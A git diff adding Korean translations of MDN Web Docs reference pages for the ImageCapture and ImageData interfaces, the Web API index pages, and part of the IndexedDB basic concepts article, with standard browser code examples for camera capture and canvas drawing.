diff --git a/files/ko/web/api/imagecapture/getphotosettings/index.html b/files/ko/web/api/imagecapture/getphotosettings/index.html new file mode 100644 index 0000000000..b82bd7290d --- /dev/null +++ b/files/ko/web/api/imagecapture/getphotosettings/index.html @@ -0,0 +1,86 @@ +--- +title: ImageCapture.getPhotoSettings() +slug: Web/API/ImageCapture/getPhotoSettings +tags: + - API + - Experimental + - ImageCapture + - MediaStream Image Capture API + - Method + - Reference +translation_of: Web/API/ImageCapture/getPhotoSettings +--- +
{{APIRef("MediaStream Image")}}
+ +

{{domxref("ImageCapture")}} 인터페이스의 getPhotoSettings() 메서드는 현재 촬영 설정을 담은 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.

+ +

구문

+ +
const settingsPromise = imageCapture.getPhotoSettings()
+ +

반환 값

+ +

다음의 속성으로 구성된 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}.

+ + + +

예제

+ +

다음 예제는 Chrome의 Image Capture / Photo Resolution Sample에서 가져온 코드로, getPhotoCapabilities()를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.

+ +
const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream => {
+  document.querySelector('video').srcObject = mediaStream;
+
+  const track = mediaStream.getVideoTracks()[0];
+  imageCapture = new ImageCapture(track);
+
+  return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities => {
+  const settings = imageCapture.track.getSettings();
+
+  input.min = photoCapabilities.imageWidth.min;
+  input.max = photoCapabilities.imageWidth.max;
+  input.step = photoCapabilities.imageWidth.step;
+
+  return imageCapture.getPhotoSettings();
+})
+.then(photoSettings => {
+  input.value = photoSettings.imageWidth;
+})
+.catch(error => console.log('Argh!', error.name || error));
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-getphotosettings','getPhotoSettings()')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.getPhotoSettings")}}

+
diff --git a/files/ko/web/api/imagecapture/grabframe/index.html b/files/ko/web/api/imagecapture/grabframe/index.html new file mode 100644 index 0000000000..3a0b53ff05 --- /dev/null +++ b/files/ko/web/api/imagecapture/grabframe/index.html @@ -0,0 +1,73 @@ +--- +title: ImageCapture.grabFrame() +slug: Web/API/ImageCapture/grabFrame +tags: + - API + - Experimental + - ImageCapture + - MediaStream Image Capture API + - Method + - Reference +translation_of: Web/API/ImageCapture/grabFrame +--- +
{{APIRef("MediaStream Image")}}
+ +

{{domxref("ImageCapture")}} 인터페이스의 grabFrame() 메서드는 {{domxref("MediaStreamTrack")}}의 라이브 비디오에서 스냅샷을 찍고, 그 결과를 담은 {{domxref("ImageBitmap")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.

+ +

구문

+ +
const bitmapPromise = imageCapture.grabFrame()
+
+ +

반환 값

+ +

{{domxref("ImageBitmap")}} 객체로 이행하는 {{jsxref("Promise")}}.

+ +

예제

+ +

다음 예제는 Simple Image Capture 데모에서 가져온 것으로, grabFrame()이 반환한 {{jsxref("Promise")}}의 {{domxref("ImageBitmap")}}을 사용해 {{htmlelement("canvas")}} 요소에 할당하는 방법을 보입니다. 코드를 짧게 유지하기 위해 {{domxref("ImageCapture")}} 객체의 초기화 과정은 생략했습니다.

+ +
var grabFrameButton = document.querySelector('button#grabFrame');
+var canvas = document.querySelector('canvas');
+
+grabFrameButton.onclick = grabFrame;
+
+function grabFrame() {
+  imageCapture.grabFrame()
+  .then(function(imageBitmap) {
+    console.log('Grabbed frame:', imageBitmap);
+    canvas.width = imageBitmap.width;
+    canvas.height = imageBitmap.height;
+    canvas.getContext('2d').drawImage(imageBitmap, 0, 0);
+    canvas.classList.remove('hidden');
+  })
+  .catch(function(error) {
+    console.log('grabFrame() error: ', error);
+  });
+}
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-grabframe','grabFrame()')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.grabFrame")}}

+
diff --git a/files/ko/web/api/imagecapture/imagecapture/index.html b/files/ko/web/api/imagecapture/imagecapture/index.html new file mode 100644 index 0000000000..34841fe2d2 --- /dev/null +++ b/files/ko/web/api/imagecapture/imagecapture/index.html @@ -0,0 +1,67 @@ +--- +title: ImageCapture() 생성자 +slug: Web/API/ImageCapture/ImageCapture +tags: + - API + - Constructor + - Experimental + - ImageCapture + - MediaStream Image Capture API + - Reference +translation_of: Web/API/ImageCapture/ImageCapture +--- +
{{APIRef("MediaStream Image")}}
+ +

ImageCapture() 생성자는 새로운 {{domxref("ImageCapture")}} 객체를 생성합니다.

+ +

구문

+ +
const imageCapture = new ImageCapture(videoTrack)
+ +

매개변수

+ +
+
videoTrack
+
이미지를 가져올 때 사용할 {{domxref("MediaStreamTrack")}}. 화상전화 스트림, 재생 중인 영화, 웹캠 스트림 등 모든 출처를 사용할 수 있습니다.
+
+ +

반환 값

+ +

지정한 비디오 트랙에서 정지 프레임을 캡처할 수 있는 ImageCapture 객체.

+ +

예제

+ +

다음 예제는 {{domxref("MediaDevices.getUserMedia()")}}을 사용해, ImageCapture() 생성자에 필요한 {{domxref("MediaStreamTrack")}}을 가져오는 법을 보입니다.

+ +
 navigator.mediaDevices.getUserMedia({video: true})
+  .then(mediaStream => {
+    document.querySelector('video').srcObject = mediaStream
+    const track = mediaStream.getVideoTracks()[0];
+    imageCapture = new ImageCapture(track);
+  })
+  .catch(error => console.log(error));
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-imagecapture','ImageCapture')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.ImageCapture")}}

+
diff --git a/files/ko/web/api/imagecapture/index.html b/files/ko/web/api/imagecapture/index.html new file mode 100644 index 0000000000..4e96539bc1 --- /dev/null +++ b/files/ko/web/api/imagecapture/index.html @@ -0,0 +1,123 @@ +--- +title: ImageCapture +slug: Web/API/ImageCapture +tags: + - API + - Experimental + - ImageCapture + - Interface + - MediaStream Image Capture API + - Reference +translation_of: Web/API/ImageCapture +--- +
{{APIRef("MediaStream Image")}}
+ +

MediaStream Image Capture APIImageCapture 인터페이스는 유효한 {{domxref("MediaStreamTrack")}}이 참조하는 카메라 또는 기타 촬영 장치를 통해 이미지나 사진을 촬영하기 위한 메서드를 제공합니다.

+ +

생성자

+ +
+
{{domxref("ImageCapture.ImageCapture()", "ImageCapture()")}}
+
비디오 스트림을 나타내는 {{domxref("MediaStreamTrack")}}에서 정지 프레임(사진)을 캡처하기 위한 ImageCapture 객체를 반환합니다.
+
+ +

속성

+ +
+
{{domxref("ImageCapture.track")}} {{readonlyinline}}
+
생성자에 전달한 {{domxref("MediaStreamTrack")}}의 참조를 반환합니다.
+
+ +

메서드

+ +

ImageCapture 인터페이스는 {{domxref("EventTarget")}}의 메서드를 상속하며, 다음 메서드도 포함합니다.

+ +
+
{{domxref("ImageCapture.takePhoto()")}}
+
{{domxref("MediaStreamTrack")}}의 출처 비디오 캡처 장치를 통해 단일 노출 촬영을 한 후, 그 데이터를 담은 {{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("ImageCapture.getPhotoCapabilities()")}}
+
가능한 설정 옵션을 담은 {{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("ImageCapture.getPhotoSettings()")}}
+
현재 사진 설정을 담은 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("ImageCapture.grabFrame()")}}
+
{{domxref("MediaStreamTrack")}}의 라이브 비디오에서 스냅샷을 찍은 후, 성공했으면 {{domxref("ImageBitmap")}}을 반환합니다.
+
+ +

예제

+ +

다음 코드는 Chrome의 Grab Frame - Take Photo Sample에서 가져온 것입니다. ImageCapture는 이미지를 캡처할 도구가 필요하므로, 다음 예제는 브라우저 단말기의 미디어 장치(카메라)로 시작합니다.

+ +

이 예제는 {{domxref("MediaStream")}}으로부터 추출한 {{domxref("MediaStreamTrack")}}부터 시작합니다. 그 다음엔 해당 트랙을 사용해 takePhoto()grabFrame()을 호출할 ImageCapture 객체를 생성합니다. 마침내, 최종 결과를 캔버스 객체에 적용합니다.

+ +
var imageCapture;
+
+function onGetUserMediaButtonClick() {
+  navigator.mediaDevices.getUserMedia({video: true})
+  .then(mediaStream => {
+    document.querySelector('video').srcObject = mediaStream;
+
+    const track = mediaStream.getVideoTracks()[0];
+    imageCapture = new ImageCapture(track);
+  })
+  .catch(error => console.log(error));
+}
+
+function onGrabFrameButtonClick() {
+  imageCapture.grabFrame()
+  .then(imageBitmap => {
+    const canvas = document.querySelector('#grabFrameCanvas');
+    drawCanvas(canvas, imageBitmap);
+  })
+  .catch(error => console.log(error));
+}
+
+function onTakePhotoButtonClick() {
+  imageCapture.takePhoto()
+  .then(blob => createImageBitmap(blob))
+  .then(imageBitmap => {
+    const canvas = document.querySelector('#takePhotoCanvas');
+    drawCanvas(canvas, imageBitmap);
+  })
+  .catch(error => console.log(error));
+}
+
+/* Utils */
+
+function drawCanvas(canvas, img) {
+  canvas.width = getComputedStyle(canvas).width.split('px')[0];
+  canvas.height = getComputedStyle(canvas).height.split('px')[0];
+  let ratio  = Math.min(canvas.width / img.width, canvas.height / img.height);
+  let x = (canvas.width - img.width * ratio) / 2;
+  let y = (canvas.height - img.height * ratio) / 2;
+  canvas.getContext('2d').clearRect(0, 0, canvas.width, canvas.height);
+  canvas.getContext('2d').drawImage(img, 0, 0, img.width, img.height,
+      x, y, img.width * ratio, img.height * ratio);
+}
+
+document.querySelector('video').addEventListener('play', function() {
+  document.querySelector('#grabFrameButton').disabled = false;
+  document.querySelector('#takePhotoButton').disabled = false;
+});
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#imagecaptureapi','ImageCapture')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.ImageCapture")}}

diff --git a/files/ko/web/api/imagecapture/takephoto/index.html b/files/ko/web/api/imagecapture/takephoto/index.html new file mode 100644 index 0000000000..ac7fd39f3d --- /dev/null +++ b/files/ko/web/api/imagecapture/takephoto/index.html @@ -0,0 +1,82 @@ +--- +title: ImageCapture.takePhoto() +slug: Web/API/ImageCapture/takePhoto +tags: + - API + - Experimental + - ImageCapture + - MediaStream Image Capture + - Method + - Reference +translation_of: Web/API/ImageCapture/takePhoto +--- +
{{APIRef("MediaStream Image")}}
+ +

{{domxref("ImageCapture")}} 인터페이스의 takePhoto() 메서드는 {{domxref("MediaStreamTrack")}}을 제공하는 비디오 캡처 장치를 사용해 단일 노출 촬영을 하고, 그 데이터를 담은 {{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.

+ +

구문

+ +
const blobPromise = imageCaptureObj.takePhoto([photoSettings])
+ +

매개변수

+ +
+
photoSettings {{optional_inline}}
+
사진을 촬영할 때 사용할 옵션을 나타내는 객체. 가능한 옵션은 다음과 같습니다. +
    +
  • fillLightMode: 캡처 장치의 플래시 설정. "auto", "off", "flash" 중 하나를 사용할 수 있습니다.
  • +
  • imageHeight: 원하는 이미지 크기의 높이를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, {{glossary("user agent", "사용자 에이전트")}}는 이 값과 제일 가까운 높이를 사용합니다.
  • +
  • imageWidth: 원하는 이미지 크기의 너비를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, 사용자 에이전트는 이 값과 제일 가까운 너비를 사용합니다.
  • +
  • redEyeReduction: 적목 현상 감소 기능이 존재하는 경우, 사용할지 나타내는 불리언 값.
  • +
+
+
+ +

반환 값

+ +

{{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}.

+ +

예제

+ +

다음 코드는 Simple Image Capture 데모에서 가져온 것으로, takePhoto()가 반환한 {{jsxref("Promise")}}의 {{domxref("Blob")}}을 사용해 {{htmlelement("img")}} 요소에 할당하는 방법을 보입니다. 코드를 짧게 유지하기 위해 {{domxref("ImageCapture")}} 객체의 초기화 과정은 생략했습니다.

+ +
var takePhotoButton = document.querySelector('button#takePhoto');
+var canvas = document.querySelector('canvas');
+
+takePhotoButton.onclick = takePhoto;
+
+function takePhoto() {
+  imageCapture.takePhoto().then(function(blob) {
+    console.log('Took photo:', blob);
+    img.classList.remove('hidden');
+    img.src = URL.createObjectURL(blob);
+  }).catch(function(error) {
+    console.log('takePhoto() error: ', error);
+  });
+}
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-takephoto','takePhoto()')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.takePhoto")}}

+
diff --git a/files/ko/web/api/imagecapture/track/index.html b/files/ko/web/api/imagecapture/track/index.html new file mode 100644 index 0000000000..0cab8caacf --- /dev/null +++ b/files/ko/web/api/imagecapture/track/index.html @@ -0,0 +1,49 @@ +--- +title: ImageCapture.track +slug: Web/API/ImageCapture/track +tags: + - API + - Experimental + - ImageCapture + - MediaStream Image Capture + - Property + - Read-only + - Reference +translation_of: Web/API/ImageCapture/track +--- +
{{APIRef("MediaStream Image")}}
+ +

{{domxref("ImageCapture")}} 인터페이스의 track 읽기 전용 속성은 {{domxref("ImageCapture.ImageCapture","ImageCapture()")}} 생성자에 제공한 {{domxref("MediaStreamTrack")}}의 참조를 반환합니다.

+ +

구문

+ +
const mediaStreamTrack = imageCaptureObj.track
+ +

+ +

{{domxref("MediaStreamTrack")}} 객체.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-track','track')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.track")}}

+
diff --git a/files/ko/web/api/imagedata/index.html b/files/ko/web/api/imagedata/index.html new file mode 100644 index 0000000000..fb7beec45e --- /dev/null +++ b/files/ko/web/api/imagedata/index.html @@ -0,0 +1,134 @@ +--- +title: ImageData +slug: Web/API/ImageData +translation_of: Web/API/ImageData +--- +
{{APIRef("Canvas API")}}
+ +

ImageData 인터페이스는 {{HTMLElement("canvas")}} 엘리먼트 영역의 기저의 픽셀데이터를 나타냅니다{{domxref("ImageData.ImageData", "ImageData()")}}생성자나 canvas객체에 연결된 {{domxref("CanvasRenderingContext2D")}}객체의 {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}나 {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}메소드로 생성할 수 있습니다. ImageData는 {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}}의 인자로 전달할 수 있으며, 이를 통해 canvas의 일부로 반영할 수 있습니다.

+ +

Constructors

+ +
+
{{domxref("ImageData.ImageData", "ImageData()")}} {{experimental_inline}}
+
인자로 주어진 {{jsxref("Uint8ClampedArray")}}로 부터 해당 크기에 맞는 ImageData객체를 생성합니다. 만약 인자가 주어지지 않으면 검정색 사각형 이미지를 생성합니다. {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}는 worker에서 사용할 수 없기 때문에, ImageData의 생성자를 이용하는 것이 가장 일반적인 방법입니다.
+
+ +

Properties

+ +
+
{{domxref("ImageData.data")}} {{readonlyInline}}
+
{{jsxref("Uint8ClampedArray")}}형식이며 1차원 배열로 RGBA순서로 정의된 이미지 데이터를 나타내니다. 각 원소는 정수값으로 0에서 255사이의 값을 갖습니다.
+
{{domxref("ImageData.height")}} {{readonlyInline}}
+
unsigned long형식으로 ImageData의 pixel기준의 실제 높이값입니다.
+
{{domxref("ImageData.width")}} {{readonlyInline}}
+
unsigned long형식으로 ImageData의 pixel기준의 실제 가로값입니다.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-canvas-element.html#imagedata", "ImageData")}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support4.0{{CompatGeckoDesktop("14")}}9.09.03.1
Support in workers{{CompatUnknown}}{{CompatGeckoDesktop("25")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ImageData() constructor{{CompatUnknown}}{{CompatGeckoDesktop("29")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support2.1{{CompatGeckoMobile("14")}}{{CompatUnknown}}10.03.2
Support in workers{{CompatUnknown}}{{CompatGeckoMobile("25")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ImageData() constructor{{CompatUnknown}}{{CompatGeckoMobile("29")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/index.html b/files/ko/web/api/index.html new file mode 100644 index 0000000000..fda766fffd --- /dev/null +++ b/files/ko/web/api/index.html @@ -0,0 +1,33 @@ +--- +title: Web API +slug: Web/API +tags: + - API + - DOM + - JavaScript + - Landing + - Reference + - Web +translation_of: Web/API +--- +

웹 코드를 작성한다면 많은 API를 사용할 수 있습니다. 아래 목록은 웹 앱이나 웹 사이트를 만들 때 사용할 수 있는 모든 인터페이스(객체의 유형)입니다.

+ +

Web API는 보통 JavaScript와 함께 사용하지만, 항상 그렇지는 않습니다.

+ +

명세

+ +

사용 가능한 API의 전체 목록입니다.

+ +

{{ListGroups}}

+ +

인터페이스

+ +

사용 가능한 인터페이스(객체의 유형) 전체 목록입니다.

+ +

{{APIListAlpha}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/index/index.html b/files/ko/web/api/index/index.html new file mode 100644 index 0000000000..c06701815a --- /dev/null +++ b/files/ko/web/api/index/index.html @@ -0,0 +1,10 @@ +--- +title: Index +slug: Web/API/Index +tags: + - API + - Index + - Landing +translation_of: Web/API/Index +--- +

{{Index("/ko/docs/Web/API")}}

diff --git a/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html new file mode 100644 index 0000000000..0975005ad9 --- /dev/null +++ b/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html @@ -0,0 +1,219 @@ +--- +title: 기본 개념 +slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB +tags: + - Advanced + - IndexedDB +translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB +--- +

{{DefaultAPISidebar("IndexedDB")}}

+ +
+

IndexedDB는 사용자의 브라우저 안에 데이터를 영구적으로 저장하게 해주는 방법 중 하나입니다. 그것은 네트워크 가능 여부에 상관없이, 풍부한 쿼리 작성 능력으로 웹 애플리케이션을 만들게 해주고, 이 애플리케이션은 온라인과 오프라인 모두에서 동작할 수 있습니다. IndexedDB는 예를 들면, 도서관의 DVD 목록처럼 대용량 데이터를 저장하는 애플리케이션, 그리고 메일 클라이언트, to-do 리스트, 노트패드처럼 동작에 지속적인 인터넷 연결이 필요하지 않은 애플리케이션에 유용합니다.

+
+ +

이 문서에 대하여

+ +

이 소개글은 IndexedDB의 필수 개념과 용어에 대해 논의합니다. 큰 그림을 제공하고 핵심 개념들을 설명합니다.

+ +

다음과 같은 유용한 정보를 찾을 수 있을 것입니다.

+ + + +

IndexedDB 개요

+ +

IndexedDB는 "키(key)"로 지정된 객체를 저장하고 검색할 수 있도록 도와줍니다. 데이터베이스에 적용하는 모든 변경은 트렌잭션 안에서 일어납니다. 대부분의 웹 스토리지 솔루션과 마찬가지로, IndexedDB는 동일 출처 정책 (same-origin policy)을 따릅니다. 따라서 당신이 한 도메인의 데이터에 접근하고 있는 동안, 다른 도메인의 데이터에 접근할 수 없습니다.

+ +

IndexedDB는 웹 워커를 포함하는 대부분의 문맥(컨텍스트)에 사용될 수 있는 비동기(asynchronous) API입니다. 웹 워커에서 사용하기 위해 동기(synchronous) 버전도 존재했지만, 웹 커뮤니티의 관심부족으로 웹 스펙에서 제거되었습니다.

+ +

IndexedDB는 WebSQL 데이터베이스와 경쟁 관계에 있었지만, W3C는 2010 11월 8일에 WebSQL을 폐기(deprecated)하였습니다. IndexedDB와 WebSQL 모두 데이터 저장을 위한 솔루션이지만, 동일한 기능을 제공하지는 않습니다. WebSQL Database는 관계형 데이터베이스 접근 시스템인 반면, IndexedDB는 인덱스 테이블 시스템입니다.

+ +

주요 개념들

+ +

만약 당신이 다른 종류의 데이터베이스로 작업하고 있었다면, IndexedDB로 작업할 때 힘들어질 수도 있습니다. 그러므로 다음의 중요한 개념들을 염두에 두어야 합니다.

+ + + +

정의

+ +

이 섹션은 IndexedDB API에서 사용되는 용어들을 정의하고 설명합니다.

+ +

데이터베이스

+ +
+
데이터베이스
+
일반적으로 하나 혹은 그 이상의 객체 저장소로 구성되는 정보의 레파지토리입니다. 개별 데이터베이스는 다음의 내용을 반드시 가져야 합니다. +
    +
  • 이름(Name). 이것은 하나의 특정 출처 내에서 database를 구별하고 데이터베이스가 존재하는 동안 일정하게 유지됩니다. 이름은 빈 문자열을 포함해서 어떤 문자열 값이라도 될 수 있습니다.
  • +
  • +

    현재 버전. 데이터베이스가 처음 만들어질 때, 따로 지정하지 않으면 버전은 정수 1입니다. 각 데이터베이스는 주어진 순간에 오직 하나의 버전을 가질 수 있습니다.

    +
  • +
+
+
지속성
+
+

파이어폭스에서 indexedDB는 지속성을 유지하기 위해 사용됩니다. 즉, 읽기쓰기 트랜젝션{{domxref("IDBTransaction.oncomplete")}}이 모든 데이터가 디스크로 들어갈 수 있도록 보장될 때에만 실행됩니다.

+ +

파이어폭스 40에서, IndexedDB 트랜젝션은 성능을 높이기 위해 지속성 보장을 늦춰왔는데, 이는 IndexedDB를 지원하는 다른 브라우저도 동일한 방식입니다{{Bug("1112702")}}. 이 경우 {{Event("complete")}} 이벤트는 OS가 데이터 쓰기를 하라고 전달한 후, 데이터가 실제로 데이터베이스에 반영되기 전에 잠재적으로 실행됩니다. 이벤트는 이전보다 더 빠르게 전달될지도 모르지만, 만약 OS가 다운되거나 데이터가 데이터베이스에 반영되기 전에 시스템 전원이 부족하면, 전체 트랜젝션은 잃게 될 수도 있는 희박한 위험성이 존재합니다. 그런 치명적인 이벤트는 드물기 때문에, 대부분의 소비자는 더 이상 염려할 필요는 없습니다.

+ +
+

Note: 파이어폭스에서 (나중에 다시 계산 할 수 없는 까다로운 데이터를 저장하는 것)과 같은 몇 가지 이유로 지속성을 보장하고 싶다면, complete 이벤트가 전달되기 전에 아직 정식 표준이 아닌 실험적인 readwriteflush 모드를 이용하여 트랜젝션을 데이터베이스에 강제로 반영할 수 있습니다. ({{domxref("IDBDatabase.transaction")}} 참고.) 현재는 실험적으로 적용되어 있고(experimental), about:config에서dom.indexedDB.experimental값이 true 로 설정되어 있을 때만 사용할 수 있습니다.

+
+
+
객체 저장소
+
+

데이터베이스에 데이터가 저장되는 매커니즘입니다. 객체 저장소는 키(key)와 값(value)의 쌍으로 된 레코드를 영구적으로 잡습니다. 한 객체 저장소 안의 레코드는 키(key)에 따라 오름차순으로 정렬됩니다.

+ +

모든 객체 저장소는 데이터베이스 안에서 고유한 이름을 가져야 합니다. Object store는 선택적으로 key generatorkey path를 가질 수 있다.만약 object store가 key path를 가진다면, 그것은 in-line keys를 사용한다; 아니면, 그것은 out-of-line keys를 사용한다.

+ +

Object store에 대한 참고 문서를 위해, IDBObjectStore 또는 IDBObjectStoreSync를 보라.

+
+
version
+
Database가 처음 만들어질 때, 그것의 version은 interger 1이다. 각 database는 한번에 하나의 version을 가진다; 하나의 데이터베이스가 한번에 여러 version으로 존재할 수 없다. version을 바꾸는 유일한 방법은 현재 버전보다 큰 버전으로 그것을 여는 것이다. 이는 versionchange transaction을 시작하고 upgradeneeded event를 fire한다. database의 schema를 변경할 수 있는 유일한 곳은 그 event의 handler 내부이다.
+
Note: This definition describes the most recent specification, which is only implemented in up-to-date browsers. Old browsers implemented the now deprecated and removed IDBDatabase.setVersion() method.
+
database connection
+
 database를 여는 것에 의해 생성되는 operation. 한 주어진 database는 동시에 여러개의 connections를 가질 수 있다.
+
transaction
+
+

특정 database에 대한 data-access와 data-modification operations의 원자적이고 견고한 집합. 그것이 database에서 당신이 data로 상호작용하는 방법이다. 사실, database에서의 어떠한 data의 읽기 또는 변경도 transaction 내에서 일어나야 한다.

+ +

하나의 database connection은 한번에 그에 연관된 여러 active transaction을 가질 수 있다, writing transactions이 겹치는 scopes을 갖지 않는 동안. 생성에서 정의되는  transactions의 scope은 그 transaction이 어느 object stores와 상호작용할 수 있는지를 결정하고 그 transaction의 lifetime동안 일정하다. 따라서, 예를 들어, 만약 한 database connection이 flyingMonkey object store를 커버하는 scope의 writing transaction을 이미 가지면, 당신은  unicornCentaur과 unicornPegasus object stores의 scope을 가진 두번째 transaction을 시작할 수 있다. reading transactions로서, 당신은 여러개를 가질 수 있다 — 심지어 겹치는 것들이라도.

+ +

Transactions는 short-lived일 것이 기대된다, 그래서 브라우저는 너무 오래걸리는 transaction을 종료할 수 있다, 그 long-running transaction이 lock한 storage resources를 해제하기 위해. 당신은 transaction을 abort할 수 있다 , 이는 그 transaction에서 만들어진 변경들을 roll back한다. 그리고 당신은 심지어 transaction을 abort하기 위해 그것이 시작되거나 활성화되기를 기다릴 필요가 없다.

+ +

Transaction의 세가지 모드는: readwrite, readonly, 그리고 versionchange. Object stores와 indexes를 생성하는 유일한 방법은 versionchange transaction을 이용하는 것이다. transaction types를 더 배우기 위해, IndexedDB에 대한 reference article을 보라.

+ +

모든 것은 하나의 transaction에서 일어나기 때문에, IndexedDB에서 그것은 매우 중요한 개념이다. transactions에 대해 더 배우기 위해, 특히 그것들이 어떻게 versioning과 관련되는가에 대해, IDBTransaction를 보라, 그는 또한 reference documentation을 가진다. synchronous API에 대한 문서를 위해, IDBTransactionSync를 보라.

+
+
request
+
database에 읽고 쓰기를 행하는 operation. 모든 request는 하나의 읽기 혹은 쓰기 operation을 나타낸다.
+
index
+
+

하나의 index는 다른 object store의 records를 찾기 위한 specialized object store이다, referenced object store라 불리는. index는 그 records의 value part가 referenced object store의 한 record의 key part인 영구적인 key-value storage이다. 하나의 index의 records는 referenced object안에 record가 삽입되고 update되고 삭제될 때마다 자동적으로 생성된다. 하나의 index의 각 record는 그의 referenced object store의 오직 하나의 record를 가리킬 수 있다, 그러나 여러 indexes가 같은 object store를 참조할 수 있다. object store가 변할 때, 그 object store를 참조하는 모든 index는 자동으로 update된다.

+ +

다른 방법으로, key를 사용해서 object store에서 records를 찾을 수 있다.

+ +

indexes 사용하기에 대해 더 배우기 위해, Using IndexedDB를 보라. index에 대한 reference documentation을 위해, IDBKeyRange를 보라.

+
+
+ +

Key and value

+ +
+
key
+
+

object store에서 이에 의해 저장된 values가 조직되고 조회되는 하나의 data value. object store는 세 sources 중 하나로부터 key를 이끌어낼 수 있다: key generatorkey path, 또는 명시적으로 지정된 value. key는 그 앞에 있는 것보다 큰 값을 지닌 한 data type의 것이어야 한다. object store의 각 record는 같은 store 내에서 유일한 key를 가져야 한다, 따라서 당신은 주어진 object store에서 같은 key의 여러 records를 가질 수 없다.

+ +

하나의 key는 다음의 types 중 하나가 될 수 있다: string, date, float, 그리고 array. arrays에 대해, key는 empty value로부터 infinity의 범위가 될 수 있다. 그리고 당신은 array 내에 array를 포함할 수 있다. string 또는 integer의 key만 사용해야 한다는 요구사항은 없다{{ fx_minversion_inline("11") }}.

+ +

다른 방법으로, 당신은 index를 사용해서 object store에서 records를 찾을 수 있다.

+
+
key generator
+
정렬 sequence로 새 keys를 생성하기 위한 mechanism. 만약 한 object store가 key generator를 가지지 않으면, application은 저장되는 records를 위한 keys를 제공해야 한다. Generators는 stores 간에 공유되지 않는다. 이것은 브라우저 구현 세부사항에 가깝다, 때문에 web 개발에서, 당신은 실제로 key generators를 만들고 접근할 필요가 없다.
+
in-line key
+
저장되는 value의 부분으로서 저장되는 key. key path를 사용함으로써 찾아진다. 하나의 in-line key는 generator를 이용해서 생성될 수 있다. key가 생성된 후에, 그것은 key path를 사용하는 value에 저장될 수 있거나 key로서 사용될 수 있다.
+
out-of-line key
+
저장되는 value와는 따로 저장되는 key.
+
key path
+
object store 또는 index에서 브라우저가 어디로부터 key를 추출해야 하는지 정의한다. 하나의 valid key path는 다음 중 하나를 포함할 수 있다: an empty string, a JavaScript identifier, or multiple JavaScript identifiers separated by periods. 그것은 spaces를 포함할 수 없다.
+
value
+
+

각각의 record는 하나의 value를 가진다, 이는 javascript로 표현될 수 있는 어떤 것이라도 포함할 수 있다, boolean, number, string, date, object, array, regexp, undefined, 그리고 null을 포함해서.

+ +

object 또는 array가 저장될 때, 그 object 또는 array의  properties 와 values는 적합한 어떤 값이라도 될 수 있다.

+ +

Blobs와 files가 저장될 수 있다, cf. specification {{ fx_minversion_inline("11") }}.

+
+
+ +

Range and scope

+ +
+
scope
+
